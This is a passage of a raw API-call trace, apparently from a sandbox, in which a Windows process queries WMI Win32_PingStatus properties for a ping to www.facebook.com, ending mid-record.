[0140.520] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0140.520] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.520] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0140.520] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.520] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.520] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0140.520] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.520] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.520] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.520] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.520] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.520] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.520] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.520] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.520] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.520] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.520] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.520] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.520] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.520] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.521] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.521] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.521] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.521] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.521] SysStringByteLen (bstr="__PATH") returned 0xc [0140.521] SysStringByteLen (bstr="__PATH") returned 0xc [0140.521] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cbcb4*=0, plFlavor=0x22cbcb8*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22cbcb4*=3, plFlavor=0x22cbcb8*=64) returned 0x0 [0140.521] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cbce8*=0, plFlavor=0x22cbcec*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22cbce8*=8, plFlavor=0x22cbcec*=64) returned 0x0 [0140.521] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.521] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.521] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cbd40*=0, plFlavor=0x22cbd44*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cbd40*=8, plFlavor=0x22cbd44*=64) returned 0x0 [0140.521] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cbd68*=0, plFlavor=0x22cbd6c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22cbd68*=8, plFlavor=0x22cbd6c*=64) returned 0x0 [0140.521] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.521] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.521] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cbdc0*=0, plFlavor=0x22cbdc4*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22cbdc0*=8, plFlavor=0x22cbdc4*=64) returned 0x0 [0140.522] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.522] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.522] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cbfac*=0, plFlavor=0x22cbfb0*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22cbfac*=3, plFlavor=0x22cbfb0*=64) returned 0x0 [0140.522] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cbfe0*=0, plFlavor=0x22cbfe4*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22cbfe0*=8200, plFlavor=0x22cbfe4*=64) returned 0x0 [0140.522] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc014*=0, plFlavor=0x22cc018*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22cc014*=8, plFlavor=0x22cc018*=64) returned 0x0 [0140.522] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.522] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.523] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc014*=8, plFlavor=0x22cc018*=64 | out: pVal=0x572ea20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22cc014*=8, plFlavor=0x22cc018*=64) returned 0x0 [0140.523] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.523] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.523] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0140.523] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0140.523] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.523] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0140.523] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0140.523] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.523] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0140.523] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0140.523] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0140.523] SafeArrayGetLBound (in: psa=0x5c78c98, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0140.524] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.524] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.524] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.524] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.524] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.524] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.524] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.524] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.524] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.524] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.524] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.524] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.524] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.524] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.524] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.524] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.524] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.524] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.524] SysStringByteLen (bstr="__PATH") returned 0xc [0140.524] SysStringByteLen (bstr="__PATH") returned 0xc [0140.524] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc534*=0, plFlavor=0x22cc538*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22cc534*=3, plFlavor=0x22cc538*=64) returned 0x0 [0140.525] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc568*=0, plFlavor=0x22cc56c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22cc568*=8, plFlavor=0x22cc56c*=64) returned 0x0 [0140.525] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.525] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.525] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc5c0*=0, plFlavor=0x22cc5c4*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc5c0*=8, plFlavor=0x22cc5c4*=64) returned 0x0 [0140.525] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc5e8*=0, plFlavor=0x22cc5ec*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22cc5e8*=8, plFlavor=0x22cc5ec*=64) returned 0x0 [0140.525] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.525] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.525] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc640*=0, plFlavor=0x22cc644*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22cc640*=8, plFlavor=0x22cc644*=64) returned 0x0 [0140.525] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.525] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.526] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc820*=0, plFlavor=0x22cc824*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22cc820*=3, plFlavor=0x22cc824*=64) returned 0x0 [0140.526] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc854*=0, plFlavor=0x22cc858*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22cc854*=8200, plFlavor=0x22cc858*=64) returned 0x0 [0140.526] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc888*=0, plFlavor=0x22cc88c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22cc888*=8, plFlavor=0x22cc88c*=64) returned 0x0 [0140.526] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.526] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.526] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc8d4*=0, plFlavor=0x22cc8d8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22cc8d4*=8, plFlavor=0x22cc8d8*=64) returned 0x0 [0140.526] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.526] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.526] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cc920*=0, plFlavor=0x22cc924*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22cc920*=8, plFlavor=0x22cc924*=64) returned 0x0 [0140.527] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.527] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.527] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0140.527] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0140.527] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.527] IWbemClassObject:Get (in: This=0x5c50300, wszName="Address", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ccb5c*=0, plFlavor=0x22ccb60*=0 | out: pVal=0x572e938*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22ccb5c*=8, plFlavor=0x22ccb60*=0) returned 0x0 [0140.527] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.527] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.527] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0140.527] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0140.527] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.527] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0140.527] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0140.527] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.527] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0140.527] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0140.527] SafeArrayGetDim (psa=0x5c78db8) returned 0x1 [0140.527] SafeArrayGetLBound (in: psa=0x5c78db8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0140.527] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.528] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.528] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.528] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.528] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.528] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.528] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.528] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.528] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.528] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.528] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.528] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.528] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.528] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.528] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.528] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.528] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.528] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.528] SysStringByteLen (bstr="__PATH") returned 0xc [0140.528] SysStringByteLen (bstr="__PATH") returned 0xc [0140.528] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ccf34*=0, plFlavor=0x22ccf38*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22ccf34*=3, plFlavor=0x22ccf38*=64) returned 0x0 [0140.528] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ccf68*=0, plFlavor=0x22ccf6c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ccf68*=8, plFlavor=0x22ccf6c*=64) returned 0x0 [0140.528] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.529] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.529] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ccfc0*=0, plFlavor=0x22ccfc4*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ccfc0*=8, plFlavor=0x22ccfc4*=64) returned 0x0 [0140.529] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ccfe8*=0, plFlavor=0x22ccfec*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ccfe8*=8, plFlavor=0x22ccfec*=64) returned 0x0 [0140.529] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.529] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.563] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cd040*=0, plFlavor=0x22cd044*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22cd040*=8, plFlavor=0x22cd044*=64) returned 0x0 [0140.563] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.563] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.563] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cd220*=0, plFlavor=0x22cd224*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22cd220*=3, plFlavor=0x22cd224*=64) returned 0x0 [0140.563] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cd254*=0, plFlavor=0x22cd258*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78cc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22cd254*=8200, plFlavor=0x22cd258*=64) returned 0x0 [0140.564] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cd288*=0, plFlavor=0x22cd28c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22cd288*=8, plFlavor=0x22cd28c*=64) returned 0x0 [0140.564] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.564] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.564] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cd2d4*=0, plFlavor=0x22cd2d8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22cd2d4*=8, 